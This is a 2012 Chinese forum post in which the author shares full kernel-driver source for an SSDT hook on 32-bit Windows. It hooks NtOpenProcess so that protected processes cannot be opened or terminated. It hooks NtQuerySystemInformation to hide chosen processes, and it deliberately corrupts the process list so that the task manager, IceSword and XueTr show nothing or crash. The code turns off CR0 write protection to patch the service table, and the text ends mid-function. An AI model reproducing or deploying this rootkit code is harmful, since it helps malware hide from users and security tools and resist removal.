本论坛为只读模式,仅供查阅,不能注册新用户,不能发帖/回帖,有问题可发邮件 xikug.xp (^) gmail.com
查看: 13242|回复: 59

SSDT HOOK技术轻松让最新版冰刃、XueTr失效 ---Love 梦想(原创)   [复制链接]

Rank: 1

发表于 2012-11-21 02:56:46 |显示全部楼层
      刚开始学驱动,成功HOOK NtOpenProces 现在本想试试HOOK NtQuerySystemInformation,没想打它的结构N多N长,也让我很惊讶,这个API居然能获取或者设置超过50多种的信息。

       参考网上的一些代码,看的我晕头转向的..也没点解释,而且也没法编译...总算搞清楚 进程信息是以链表的形式存储数据的。虽然没学过链表,但也大概有所了解。在做实验过程中,编译出错N次,系统蓝屏了N次,总算完成也理解了。
     
      在这个过程中发现一些有趣的事情,例如,网上大部分代码都是HOOK 这个API来实现进程隐藏,其实还可以恶搞进程信息。最简单的就是修改要保护进程的PID了。例如:Explorer.exe 的进程PID 是1203,那么我就可以修改成1234,这样任务管理器也就获取到假的 PID 。任何对进程操作的前提条件是能获取到它的PID,现在PID被修改,结束进程自然也无法成功了。原本想修改成其他的进程的PID,例如,任务管理器的PID是1860,它要结束我们要保护的进程1203,那么我们就把 1203修改成它的PID1860,这就变成任务管理器自己结束自己了。可惜,不知道为什么会失败。嘿嘿,虽然这个失败了,但是在处理链表数据的时候又有新发现,发现破坏链表结构,就会实现隐藏所有进程的进程信息,任务管理器看到的是一片空白,目前最新版的XueTr 看到的也是一篇空白,还有冰刃,一查看进程就立即报错。360任务管理器启动就立即报错。但是不知道什么原因居然能产生这种作用!据我所知,冰刃和XueTr貌似不是用常规的方法获取进程的。所以即使是HOOK NtQuerySystemInformation 移除该进程的所有信息也能被识别出来。那么它们应该不是调用NtQuerySystemInformation这个获取进程信息才对,现在我无意破坏NtQuerySystemInformation 的链表结构,居然能影响到它们,太奇怪了。
以下是截图。
psb.png


后来经过自己改进,实现了隐藏指定进程,任务管理器可以显示其他的进程,冰刃和XueTr就无法获取进程。不过不稳定,任务管理器有时候会报错或者会显示出无名的进程但是PID的值却非常大。没法,不知道真正原因,所以这个问题也没法解决。
以下是成功的时候截的图:
psb (1).png


    嘿嘿,正因为开始我对链表不太熟悉,所以在一次实验中无意破坏了链表的结构,就发现这个现象。哈哈~~~,当然也不能说这发现能跟冰刃和XueTr对抗了,因为采用SSDD HOOK,所以它们很容易就能发现。至于360,倒也没去测试过,首先加载驱动这一步就得费很多心思了。

   以下是SYS完整源码:方便日后复习之用。
  1. main.h: 用于初始化驱动程序
  2. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  3. /////////////////////////////////////////////////////////////////////
  4. // 表示函数运行后 就从内存释放
  5. #define INITCODE code_sge("INIT")
  6. // 表示内存不足时,可以被置换到硬盘
  7. #define PAGECODE code_seg("PAGE")

  8. #pragma once
  9. #ifdef __cplusplus
  10. extern "C"
  11. {
  12.        #endif
  13.        #include <ntddk.h>
  14.        #ifdef __cplusplus            
  15. }
  16. #endif

  17. /////////////////////////////////////////////////////////////////////

  18. // 保存符号连接 用于卸载驱动是删除符号连接
  19. UNICODE_STRING SymLinkName;

  20. // 创建设备
  21. NTSTATUS CreateMyDevice(IN PDRIVER_OBJECT pDriverObject, WCHAR MyDeviceName[], WCHAR MySymLinkName[]);
  22. // 派遣函数
  23. NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT pDevobj,IN PIRP pIrp);
  24. // 卸载驱动
  25. void UnLoadSys(IN PDRIVER_OBJECT pDriverObject);

  26. // 接收到Ring3传递的命令则分析并执行
  27. ULONG CallBack(IN ULONG Ring3_Cmd, IN PIRP pIrp);
  28. /////////////////////////////////////////////////////////////////////

  29. // 创建设备
  30. #pragma INITCODE       // 参数:    驱动对象,所创建的设备名称,所创建的符号连接名称
  31. NTSTATUS CreateMyDevice(IN PDRIVER_OBJECT pDriverObject, WCHAR MyDeviceName[], WCHAR MySymLinkName[])
  32. {
  33.         // 创建设备
  34.         UNICODE_STRING DeviceName;
  35.         RtlInitUnicodeString(&DeviceName, MyDeviceName);
  36.                      
  37.         NTSTATUS Status;
  38.         PDEVICE_OBJECT pDevObj;
  39.         Status = IoCreateDevice(pDriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &pDevObj);
  40.         if(!NT_SUCCESS(Status))
  41.         {
  42.               if(Status == STATUS_INSUFFICIENT_RESOURCES)
  43.               {
  44.                    KdPrint(("资源不足!"));
  45.               }
  46.               if(Status == STATUS_OBJECT_NAME_EXISTS)
  47.               {
  48.                    KdPrint(("指定对象名存在!"));
  49.               }
  50.               if(Status == STATUS_OBJECT_NAME_COLLISION)
  51.               {
  52.                    KdPrint(("指定对象名冲突!"));
  53.               }     
  54.               KdPrint(("创建设备失败!"));
  55.               return Status;  
  56.         }
  57. //        KdPrint(("设备创建成功!"));
  58.         
  59.         pDevObj->Flags |= DO_BUFFERED_IO;
  60.          
  61.         // 创建符号连接
  62.         RtlInitUnicodeString(&SymLinkName, MySymLinkName);
  63.         Status = IoCreateSymbolicLink(&SymLinkName, &DeviceName);
  64.         
  65.         if(!NT_SUCCESS(Status))           // 创建符号连接失败
  66.         {
  67.                 KdPrint(("创建符号连接失败!"));
  68.                 IoDeleteDevice(pDevObj);  // 删除创建的设备
  69.                 return Status;
  70.         }
  71.         return STATUS_SUCCESS;        
  72. }

  73. #pragma PAGECODE
  74. NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT pDevobj,IN PIRP pIrp)
  75. {
  76.      ULONG Info = 0;
  77.      
  78.      // 得到当前栈指针
  79.      PIO_STACK_LOCATION Stack;
  80.      Stack = IoGetCurrentIrpStackLocation(pIrp);
  81.      // 区分IRP
  82.      ULONG IRP = 0;
  83.      IRP = Stack->MajorFunction;
  84.      switch(IRP)
  85.      {
  86.           case IRP_MJ_DEVICE_CONTROL:
  87.                {            
  88.                     //得到输入缓冲区大小
  89.                     ULONG cbin = Stack->Parameters.DeviceIoControl.InputBufferLength;
  90.    //得到输出缓冲区大小
  91.    ULONG cbout = Stack->Parameters.DeviceIoControl.OutputBufferLength;
  92.    //得到IOCTL码
  93.    ULONG Ring3_Cmd = Stack->Parameters.DeviceIoControl.IoControlCode;
  94.    // 掉用回调函数,按照指定的信息执行指定动作
  95.    Info = CallBack(Ring3_Cmd, pIrp);
  96.                }
  97.                break;
  98.           case IRP_MJ_CREATE:
  99.                break;
  100.           case IRP_MJ_CLOSE:
  101.                break;
  102.           case IRP_MJ_READ:
  103.                break;                       
  104.      }
  105.      
  106.      // 对相应的IRP进行处理
  107.      pIrp->IoStatus.Information = Info;
  108.      pIrp->IoStatus.Status      = STATUS_SUCCESS;     // 返回成功
  109.      
  110.      // 指示完成此IRP
  111.      IoCompleteRequest(pIrp, IO_NO_INCREMENT);  
  112.      return STATUS_SUCCESS;                             
  113. }

  114. SSDT_HOOK.h:  SSDT HOOK 架构
  115. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  116. // 导出SSDT表
  117. typedef struct _ServiceDescriptorTable
  118. {
  119.        PVOID ServiceTableBase;        // SSDT基址
  120.        PVOID ServiceCounterTable;     // 包含SSDT中每个服务被调用次数的计数器,一般由sysenter更新即Ring3转Ring0中断
  121.        unsigned int NumberOfServices; // 由ServiceTableBase描述服务的数目
  122.        PVOID ParamTableBase;          // 包含每个系统服务参数字节数表的基地址-系统服务参数表        
  123. }*PServiceDescriptorTable;
  124. extern PServiceDescriptorTable KeServiceDescriptorTable;


  125. #pragma PAGECODE // 要hook的NTAPI服务号,指向原生API,自己的函数地址
  126. int HOOK_API(IN int NtAPI_ID, OUT LONG *Nt_Addr, IN ULONG MyFun)
  127. {
  128.      if(NtAPI_ID>295)
  129.      {
  130.         KdPrint(("NtAPI服务号过大(WIN200:0-295,WINXP:0-283):%d", NtAPI_ID));
  131.         return 1;
  132.      }
  133.      
  134.      if(!MyFun)
  135.      {
  136.         KdPrint(("代替函数地址无效:0x%X", MyFun));
  137.         return 2;
  138.      }
  139.       
  140.      // 获取NtAPI的在SSDT表的地址
  141.      LONG  *SSDT_NT_Addr = NULL;
  142.      SSDT_NT_Addr = (PLONG)((LONG)(KeServiceDescriptorTable->ServiceTableBase) + NtAPI_ID * 4);
  143.      *Nt_Addr = *SSDT_NT_Addr;            // 取出真正的NtApi地址  
  144.      KdPrint(("函数原地址存放在SSDT的地址:0x%X", SSDT_NT_Addr));
  145.      KdPrint(("读取该地址获取真正NtAPI地址:0x%X", *SSDT_NT_Addr));
  146.      KdPrint(("代替函数地址:0x%X", MyFun));
  147.      
  148.      if((LONG)SSDT_NT_Addr<0x80000000 ||(LONG)SSDT_NT_Addr>0x90000000)
  149.      {
  150.         KdPrint(("函数原地址存放在SSDT的地址获取失败:0x%X", SSDT_NT_Addr));
  151.         return 3;
  152.      }
  153.      
  154.      if((LONG)*Nt_Addr<0x80000000 ||(LONG)*Nt_Addr>0x90000000)
  155.      {
  156.         KdPrint(("原生函数地址获取失败:0x%X", SSDT_NT_Addr));
  157.         return 3;
  158.      }
  159.       
  160.      // 修改SSDT API地址
  161.      __asm                       
  162.      {
  163.         cli
  164.         mov eax, cr0
  165.         and eax, not 10000h
  166.         mov cr0, eax              // 去掉内存保护
  167.      }
  168.      *SSDT_NT_Addr = MyFun;       // 修改存放在SSDT里面的地址
  169.     __asm
  170. {
  171. mov     eax, cr0
  172. or     eax, 10000h
  173. mov     cr0, eax          // 恢复内存保护
  174. sti
  175. }
  176.      return 0;
  177. }
  178. #pragma PAGECODE // 要hook的NTAPI服务号,指向原生API,自己的函数地址
  179. int UnHOOK_API(IN int NtAPI_ID, WCHAR Real_NtAPI_Name[])
  180. {
  181.     if(NtAPI_ID>295)
  182.     {
  183.         KdPrint(("NtAPI服务号过大(WIN200:0-295,WINXP:0-283):%d", NtAPI_ID));
  184.         return 1;
  185.     }
  186.          
  187.      // 获取NtAPI的在SSDT表的地址
  188.     LONG  *SSDT_NT_Addr = NULL;
  189.     SSDT_NT_Addr = (PLONG)((LONG)(KeServiceDescriptorTable->ServiceTableBase) + NtAPI_ID * 4);
  190.      
  191.      // 获取原生NtAPI地址
  192.     UNICODE_STRING NtAPI_Name;
  193.     ULONG Real_NtAPI_Addr;
  194. RtlInitUnicodeString(&NtAPI_Name, Real_NtAPI_Name);   
  195.     Real_NtAPI_Addr = (ULONG)MmGetSystemRoutineAddress(&NtAPI_Name);
  196.    
  197.     if(Real_NtAPI_Addr<0x80000000 ||Real_NtAPI_Addr>0x90000000)
  198.     {
  199.         KdPrint(("获取原生%ws地址失败:0x%X",Real_NtAPI_Name, Real_NtAPI_Addr));
  200.         return 2;                       
  201.     }
  202.      
  203.      // 恢复SSDT API地址
  204.      __asm                       
  205.      {
  206.         cli
  207.         mov eax, cr0
  208.         and eax, not 10000h
  209.         mov cr0, eax              // 去掉内存保护
  210.      }
  211.      *SSDT_NT_Addr = Real_NtAPI_Addr;       // 修改存放在SSDT里面的地址
  212.     __asm
  213. {
  214. mov     eax, cr0
  215. or     eax, 10000h
  216. mov     cr0, eax          // 恢复内存保护
  217. sti
  218. }
  219. return 0;
  220.      
  221. }

  222. NtQuerySystemInformation_Struct.h:  含义如其名
  223. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  224. #ifndef __HOOKFUN_H__
  225. #define __HOOKFUN_H__

  226. typedef enum _SYSTEM_INFORMATION_CLASS {
  227.     SystemBasicInformation,              // 0        Y        N
  228.     SystemProcessorInformation,          // 1        Y        N
  229.     SystemPerformanceInformation,        // 2        Y        N
  230.     SystemTimeOfDayInformation,          // 3        Y        N
  231.     SystemNotImplemented1,               // 4        Y        N
  232.     SystemProcessesAndThreadsInformation, // 5       Y        N
  233.     SystemCallCounts,                    // 6        Y        N
  234.     SystemConfigurationInformation,      // 7        Y        N
  235.     SystemProcessorTimes,                // 8        Y        N
  236.     SystemGlobalFlag,                    // 9        Y        Y
  237.     SystemNotImplemented2,               // 10       Y        N
  238.     SystemModuleInformation,             // 11       Y        N
  239.     SystemLockInformation,               // 12       Y        N
  240.     SystemNotImplemented3,               // 13       Y        N
  241.     SystemNotImplemented4,               // 14       Y        N
  242.     SystemNotImplemented5,               // 15       Y        N
  243.     SystemHandleInformation,             // 16       Y        N
  244.     SystemObjectInformation,             // 17       Y        N
  245.     SystemPagefileInformation,           // 18       Y        N
  246.     SystemInstructionEmulationCounts,    // 19       Y        N
  247.     SystemInvalidInfoClass1,             // 20
  248.     SystemCacheInformation,              // 21       Y        Y
  249.     SystemPoolTagInformation,            // 22       Y        N
  250.     SystemProcessorStatistics,           // 23       Y        N
  251.     SystemDpcInformation,                // 24       Y        Y
  252.     SystemNotImplemented6,               // 25       Y        N
  253.     SystemLoadImage,                     // 26       N        Y
  254.     SystemUnloadImage,                   // 27       N        Y
  255.     SystemTimeAdjustment,                // 28       Y        Y
  256.     SystemNotImplemented7,               // 29       Y        N
  257.     SystemNotImplemented8,               // 30       Y        N
  258.     SystemNotImplemented9,               // 31       Y        N
  259.     SystemCrashDumpInformation,          // 32       Y        N
  260.     SystemExceptionInformation,          // 33       Y        N
  261.     SystemCrashDumpStateInformation,     // 34       Y        Y/N
  262.     SystemKernelDebuggerInformation,     // 35       Y        N
  263.     SystemContextSwitchInformation,      // 36       Y        N
  264.     SystemRegistryQuotaInformation,      // 37       Y        Y
  265.     SystemLoadAndCallImage,              // 38       N        Y
  266.     SystemPrioritySeparation,            // 39       N        Y
  267.     SystemNotImplemented10,              // 40       Y        N
  268.     SystemNotImplemented11,              // 41       Y        N
  269.     SystemInvalidInfoClass2,             // 42
  270.     SystemInvalidInfoClass3,             // 43
  271.     SystemTimeZoneInformation,           // 44       Y        N
  272.     SystemLookasideInformation,          // 45       Y        N
  273.     SystemSetTimeSlipEvent,              // 46       N        Y
  274.     SystemCreateSession,                 // 47       N        Y
  275.     SystemDeleteSession,                 // 48       N        Y
  276.     SystemInvalidInfoClass4,             // 49
  277.     SystemRangeStartInformation,         // 50       Y        N
  278.     SystemVerifierInformation,           // 51       Y        Y
  279.     SystemAddVerifier,                   // 52       N        Y
  280.     SystemSessionProcessesInformation    // 53       Y        N
  281. } SYSTEM_INFORMATION_CLASS;

  282. typedef struct _SYSTEM_PROCESSES { // Information Class 5
  283.     ULONG NextEntryDelta;          // 构成结构列的偏移量
  284.     ULONG ThreadCount;             // 线程数目
  285.     ULONG Reserved1[6];
  286.     LARGE_INTEGER CreateTime;      // 创建时间
  287.     LARGE_INTEGER UserTime;        // 用户模式(Ring3)的CPU时间
  288.     LARGE_INTEGER KernelTime;      // 内核模式(Ring0)的CPU时间
  289.     UNICODE_STRING ProcessName;    // 进程名称
  290.     KPRIORITY BasePriority;        // 进程优先权
  291.     ULONG ProcessId;               // 进程标识符
  292.     ULONG InheritedFromProcessID;  // 句柄数目
  293.     ULONG HandleCount;             // 句柄数目
  294.     ULONG Reserved2[2];
  295.     VM_COUNTERS VmCounters;        // 虚拟存储器的结构
  296.     IO_COUNTERS IoCounters;        // IO计数结构
  297. //    SYSTEM_THREADS Therads[1];     // 进程相关线程的结构数组
  298. } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
  299. /*
  300. typedef struct _SYSTEM_THREADS
  301. {
  302. LARGE_INTEGER KernelTime;           //CPU内核模式使用时间;
  303. LARGE_INTEGER UserTime;         //CPU用户模式使用时间;
  304. LARGE_INTEGER CreateTime;       //线程创建时间;
  305. ULONG     WaitTime;         //等待时间;
  306. PVOID     StartAddress;       //线程开始的虚拟地址;
  307. CLIENT_ID   ClientId;         //线程标识符;
  308. KPRIORITY   Priority;         //线程优先级;
  309. KPRIORITY   BasePriority;       //基本优先级;
  310. ULONG     ContextSwitchCount;   //环境切换数目;
  311. THREAD_STATE State;          //当前状态;
  312. KWAIT_REASON WaitReason;       //等待原因;
  313. }SYSTEM_THREADS,*PSYSTEM_THREADS;

  314. typedef struct _VM_COUNTERS
  315. {
  316. ULONG PeakVirtualSize;         //虚拟存储峰值大小;
  317. ULONG VirtualSize;           //虚拟存储大小;
  318. ULONG PageFaultCount;         //页故障数目;
  319. ULONG PeakWorkingSetSize;       //工作集峰值大小;
  320. ULONG WorkingSetSize;         //工作集大小;
  321. ULONG QuotaPeakPagedPoolUsage;     //分页池使用配额峰值;
  322. ULONG QuotaPagedPoolUsage;       //分页池使用配额;
  323. ULONG QuotaPeakNonPagedPoolUsage;   //非分页池使用配额峰值;
  324. ULONG QuotaNonPagedPoolUsage;     //非分页池使用配额;
  325. ULONG PagefileUsage;          //页文件使用情况;
  326. ULONG PeakPagefileUsage;        //页文件使用峰值;
  327. }VM_COUNTERS,*PVM_COUNTERS;

  328. typedef struct _IO_COUNTERS
  329. {
  330. LARGE_INTEGER ReadOperationCount;   //I/O读操作数目;
  331. LARGE_INTEGER WriteOperationCount;   //I/O写操作数目;
  332. LARGE_INTEGER OtherOperationCount;   //I/O其他操作数目;
  333. LARGE_INTEGER ReadTransferCount;    //I/O读数据数目;
  334. LARGE_INTEGER WriteTransferCount;   //I/O写数据数目;
  335. LARGE_INTEGER OtherTransferCount;   //I/O其他操作数据数目;
  336. }IO_COUNTERS,*PIO_COUNTERS;
  337. typedef struct _SYSTEM_PERFORMANCE_INFORMATION
  338. {
  339. LARGE_INTEGER IdleTime;          //CPU空闲时间;
  340. LARGE_INTEGER ReadTransferCount;     //I/O读操作数目;
  341. LARGE_INTEGER WriteTransferCount;     //I/O写操作数目;
  342. LARGE_INTEGER OtherTransferCount;     //I/O其他操作数目;
  343. ULONG     ReadOperationCount;     //I/O读数据数目;
  344. ULONG     WriteOperationCount;     //I/O写数据数目;
  345. ULONG     OtherOperationCount;     //I/O其他操作数据数目;
  346. ULONG     AvailablePages;       //可获得的页数目;
  347. ULONG     TotalCommittedPages;     //总共提交页数目;
  348. ULONG     TotalCommitLimit;      //已提交页数目;
  349. ULONG     PeakCommitment;       //页提交峰值;
  350. ULONG     PageFaults;         //页故障数目;
  351. ULONG     WriteCopyFaults;       //Copy-On-Write故障数目;
  352. ULONG     TransitionFaults;      //软页故障数目;
  353. ULONG     Reserved1;
  354. ULONG     DemandZeroFaults;      //需求0故障数;
  355. ULONG     PagesRead;         //读页数目;
  356. ULONG     PageReadIos;         //读页I/O操作数;
  357. ULONG     Reserved2[2];
  358. ULONG     PagefilePagesWritten;    //已写页文件页数;
  359. ULONG     PagefilePageWriteIos;    //已写页文件操作数;
  360. ULONG     MappedFilePagesWritten;   //已写映射文件页数;
  361. ULONG     MappedFileWriteIos;     //已写映射文件操作数;
  362. ULONG     PagedPoolUsage;       //分页池使用;
  363. ULONG     NonPagedPoolUsage;     //非分页池使用;
  364. ULONG     PagedPoolAllocs;       //分页池分配情况;
  365. ULONG     PagedPoolFrees;       //分页池释放情况;
  366. ULONG     NonPagedPoolAllocs;     //非分页池分配情况;
  367. ULONG     NonPagedPoolFress;     //非分页池释放情况;
  368. ULONG     TotalFreeSystemPtes;     //系统页表项释放总数;
  369. ULONG     SystemCodePage;       //操作系统代码页数;
  370. ULONG     TotalSystemDriverPages;   //可分页驱动程序页数;
  371. ULONG     TotalSystemCodePages;    //操作系统代码页总数;
  372. ULONG     SmallNonPagedLookasideListAllocateHits; //小非分页侧视列表分配次数;
  373. ULONG     SmallPagedLookasideListAllocateHits;  //小分页侧视列表分配次数;
  374. ULONG     Reserved3;        
  375. ULONG     MmSystemCachePage;     //系统缓存页数;
  376. ULONG     PagedPoolPage;       //分页池页数;
  377. ULONG     SystemDriverPage;     //可分页驱动页数;
  378. ULONG     FastReadNoWait;       //异步快速读数目;
  379. ULONG     FastReadWait;       //同步快速读数目;
  380. ULONG     FastReadResourceMiss;   //快速读资源冲突数;
  381. ULONG     FastReadNotPossible;    //快速读失败数;
  382. ULONG     FastMdlReadNoWait;     //异步MDL快速读数目;
  383. ULONG     FastMdlReadWait;      //同步MDL快速读数目;
  384. ULONG     FastMdlReadResourceMiss;  //MDL读资源冲突数;
  385. ULONG     FastMdlReadNotPossible;   //MDL读失败数;
  386. ULONG     MapDataNoWait;       //异步映射数据次数;
  387. ULONG     MapDataWait;        //同步映射数据次数;
  388. ULONG     MapDataNoWaitMiss;     //异步映射数据冲突次数;
  389. ULONG     MapDataWaitMiss;      //同步映射数据冲突次数;
  390. ULONG     PinMappedDataCount;     //牵制映射数据数目;
  391. ULONG     PinReadNoWait;       //牵制异步读数目;
  392. ULONG     PinReadWait;        //牵制同步读数目;
  393. ULONG     PinReadNoWaitMiss;     //牵制异步读冲突数目;
  394. ULONG     PinReadWaitMiss;      //牵制同步读冲突数目;
  395. ULONG     CopyReadNoWait;       //异步拷贝读次数;
  396. ULONG     CopyReadWait;       //同步拷贝读次数;
  397. ULONG     CopyReadNoWaitMiss;     //异步拷贝读故障次数;
  398. ULONG     CopyReadWaitMiss;     //同步拷贝读故障次数;
  399. ULONG     MdlReadNoWait;       //异步MDL读次数;
  400. ULONG     MdlReadWait;        //同步MDL读次数;
  401. ULONG     MdlReadNoWaitMiss;     //异步MDL读故障次数;
  402. ULONG     MdlReadWaitMiss;      //同步MDL读故障次数;
  403. ULONG     ReadAheadIos;       //向前读操作数目;
  404. ULONG     LazyWriteIos;       //LAZY写操作数目;
  405. ULONG     LazyWritePages;       //LAZY写页文件数目;
  406. ULONG     DataFlushes;        //缓存刷新次数;
  407. ULONG     DataPages;         //缓存刷新页数;
  408. ULONG     ContextSwitches;      //环境切换数目;
  409. ULONG     FirstLevelTbFills;     //第一层缓冲区填充次数;
  410. ULONG     SecondLevelTbFills;     //第二层缓冲区填充次数;
  411. ULONG     SystemCall;         //系统调用次数;
  412. }SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATION;

  413. typedef struct __SYSTEM_PROCESSOR_TIMES
  414. {
  415. LARGE_INTEGER IdleTime;       //空闲时间;
  416. LARGE_INTEGER KernelTime;       //内核模式时间;
  417. LARGE_INTEGER UserTime;       //用户模式时间;
  418. LARGE_INTEGER DpcTime;        //延迟过程调用时间;
  419. LARGE_INTEGER InterruptTime;     //中断时间;
  420. ULONG     InterruptCount;     //中断次数;
  421. }SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMES;

  422. typedef struct _SYSTEM_PAGEFILE_INFORMATION
  423. {
  424. ULONG NetxEntryOffset;        //下一个结构的偏移量;
  425. ULONG CurrentSize;          //当前页文件大小;
  426. ULONG TotalUsed;           //当前使用的页文件数;
  427. ULONG PeakUsed;           //当前使用的页文件峰值数;
  428. UNICODE_STRING FileName;       //页文件的文件名称;
  429. }SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATION;

  430. typedef struct _SYSTEM_CACHE_INFORMATION
  431. {
  432. ULONG SystemCacheWsSize;       //高速缓存大小;
  433. ULONG SystemCacheWsPeakSize;     //高速缓存峰值大小;
  434. ULONG SystemCacheWsFaults;      //高速缓存页故障数目;
  435. ULONG SystemCacheWsMinimum;     //高速缓存最小页大小;
  436. ULONG SystemCacheWsMaximum;     //高速缓存最大页大小;
  437. ULONG TransitionSharedPages;     //共享页数目;
  438. ULONG TransitionSharedPagesPeak;   //共享页峰值数目;
  439. ULONG Reserved[2];
  440. }SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATION;

  441. typedef NTSTATUS (* PZW_QUERY_SYSTEMINFORMATION)(
  442.     IN  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  443.     OUT PVOID SystemInformation,
  444.     IN  ULONG SystemInformationLength,
  445.     OUT PULONG ReturnLength
  446.     );

  447. NTSTATUS NTAPI NewZwQuerySystemInformation(
  448.     IN  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  449.     OUT PVOID SystemInformation,
  450.     IN  ULONG SystemInformationLength,
  451.     OUT PULONG ReturnLength
  452.     );
  453. */
  454. // =================================================================
  455. // BASIC TYPES
  456. // =================================================================

  457. typedef unsigned char       BYTE,  *PBYTE,  **PPBYTE;
  458. typedef unsigned short      WORD,  *PWORD,  **PPWORD;
  459. typedef unsigned long       DWORD, *PDWORD, **PPDWORD;
  460. typedef unsigned __int64    QWORD, *PQWORD, **PPQWORD;
  461. typedef int                 BOOL,  *PBOOL,  **PPBOOL;
  462. typedef void                                **PPVOID;
  463. #endif  //;
  464.   
  465. HOOK_API.h:  HOOK API 原型定义与替代函数的实现
  466. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  467. #include "NtQuerySystemInformation_Struct.h"  // NtQuerySystemInformation 函数需要的结构
  468. // 定义NtQuerySystemInformation的原型
  469. extern "C" typedef NTSTATUS __stdcall NTQUERYSYSTEMINFORMATION(
  470.     // 类型信息,大概提供50余种信息探测或设置
  471.     __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
  472.     // 为我们提供需要获得的信息,或是我们需要设置的系统信息              
  473.     __out_bcount_opt(SystemInformationLength) PVOID SystemInformation,
  474.     // SystemInformation 长度,根据探测的信息类型决定
  475.     __in ULONG SystemInformationLength,
  476.     // 系统返回需要的长度,通常可以设置为NULL
  477.     __out_opt PULONG ReturnLength
  478. );
  479. NTQUERYSYSTEMINFORMATION *RealNtQuerySystemInformation;

  480. // 定义NtOpenProcess的原型
  481. extern "C" typedef NTSTATUS __stdcall NTOPENPROCESS
  482. (
  483.        OUT PHANDLE ProcessHandle,
  484.        IN  ACCESS_MASK AccessMask,
  485.        IN  POBJECT_ATTRIBUTES ObjectAttributes,
  486.        IN  PCLIENT_ID ClientId
  487. );
  488. NTOPENPROCESS *RealNtOpenProcess;      // 定义函数指针 用来指向真正的NtOpenProcess函数地址

  489. ///////////////////////////////////////////////////////////////////////////////////////////
  490.                   
  491. ULONG _ProcessPID_Len = 0;
  492. ULONG _ProcessPID[512] = {0};

  493. BOOL _L_HOOK = FALSE;

  494. #pragma PAGECODE
  495. BOOL ScanPID(ULONG PID)
  496. {
  497.      for(ULONG i=0; i<_ProcessPID_Len; i++)
  498.      {
  499.          if(PID == _ProcessPID[i])
  500.          {
  501.                 return TRUE;
  502.          }              
  503.      }
  504.      return FALSE;     
  505. }
  506. // 定义自己的NtOpenProcess 用于检查其传递过来的参数
  507. #pragma PAGECODE
  508. extern "C" NTSTATUS __stdcall MyNtOpenProcess(
  509.                                               OUT     PHANDLE ProcessHandle,
  510.                                               IN      ACCESS_MASK AccessMask,
  511.                                               IN      POBJECT_ATTRIBUTES ObjectAttributes,
  512.                                               IN      PCLIENT_ID ClientId
  513.                                               )
  514. {
  515.         PEPROCESS  EP;
  516.     NTSTATUS     rc;
  517.         HANDLE       PID;
  518.         
  519.         if( (ClientId != NULL) )
  520.         {
  521.         PID = ClientId->UniqueProcess;  
  522.         
  523.         // 如果是被保护的PID,则拒绝访问,并将句柄设置为空
  524. //        if(PID == (HANDLE)_ProcessPID)
  525.             if(ScanPID((ULONG)PID))
  526.         {
  527.         //调试输出 类似C语言的 Printf
  528.         ProcessHandle = NULL; //这个是关键
  529.         rc = STATUS_ACCESS_DENIED; //这个返回值
  530.       
  531.         //PsLookupProcessByProcessId((ULONG)PID,&EP);
  532.       
  533.         EP=PsGetCurrentProcess();
  534.         KdPrint(("【%s】进程想结束要保护的进程 \n",(PTSTR)((ULONG)EP+0x174)));
  535.         }
  536.             else
  537.                 rc = RealNtOpenProcess(ProcessHandle, AccessMask, ObjectAttributes, ClientId);
  538.         }
  539.         
  540.         return rc;                                         
  541. }

  542. #pragma PAGECODE
  543. extern "C" NTSTATUS __stdcall MyNtQuerySystemInformation(
  544.     __in SYSTEM_INFORMATION_CLASS SystemInformationClass,              // 获取信息的类型                              
  545.     __out_bcount_opt(SystemInformationLength) PVOID SystemInformation, // 输出信息的buf地址
  546.     __in ULONG SystemInformationLength,                                // buf的空间大小
  547.     __out_opt PULONG ReturnLength)                                     // 实际写入的大小                 
  548. {
  549.   SYSTEM_PROCESSES *lpspi = 0,*lpspia = 0;
  550.   lpspi = (SYSTEM_PROCESSES*)SystemInformation;
  551.   
  552. //  UNICODE_STRING aProcessName;
  553. //  RtlInitUnicodeString(&aProcessName, L"Explorer.exe");
  554.   
  555.   NTSTATUS a = RealNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);                                         

  556.   if(SystemInformationClass != 5 || !NT_SUCCESS(a))
  557.   {
  558.     return a;
  559.   }

  560.   /*
  561.   // 这个是隐藏所有的进程 但是冰刃、XueTr能检测出来
  562.   SystemInformation = NULL;
  563.   return STATUS_ACCESS_DENIED;
  564.   */

  565.     if(_L_HOOK)
  566.     {
  567.     // 这个也是隐藏所有的进程 最新版的XueTr无法检测出来并且也无法显示正确的进程数等信息 冰刃查看进程会报错
  568.          int i = 0;   
  569.          while(lpspi->NextEntryDelta != 0)
  570.          {
  571.             i++;
  572.              if(i==2)
  573.              {
  574.                   lpspi->NextEntryDelta = 5;
  575.                  lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
  576.                  continue;
  577.               }
  578.             lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);            
  579.          }
  580.           return a;
  581.     }  

  582.   //  这个是隐藏指定进程 对冰刃、XueTr无效
  583.   // 如果节点信息有效  
  584.   while(lpspi)
  585.   {
  586.         // 判断该节点信息是否是我们要保护的进程信息
  587. //         if(RtlEqualUnicodeString(&aProcessName,&lpspi->ProcessName,1))
  588. //         if(lpspi->ProcessId == _ProcessPID)
  589.          if(ScanPID(lpspi->ProcessId))
  590.          {      
  591.               // 如果这条要保护的进程信息是在头节点                                                            
  592.               if(lpspia == 0)
  593.               {
  594.                   // 有头结点也有下一个节点 即不是唯一的节点      
  595.                   if(lpspi->NextEntryDelta != 0)                    
  596.                    {
  597.                         // 直接将输出缓冲区的头指针指向下一个节点 忽略头结点的信息                  
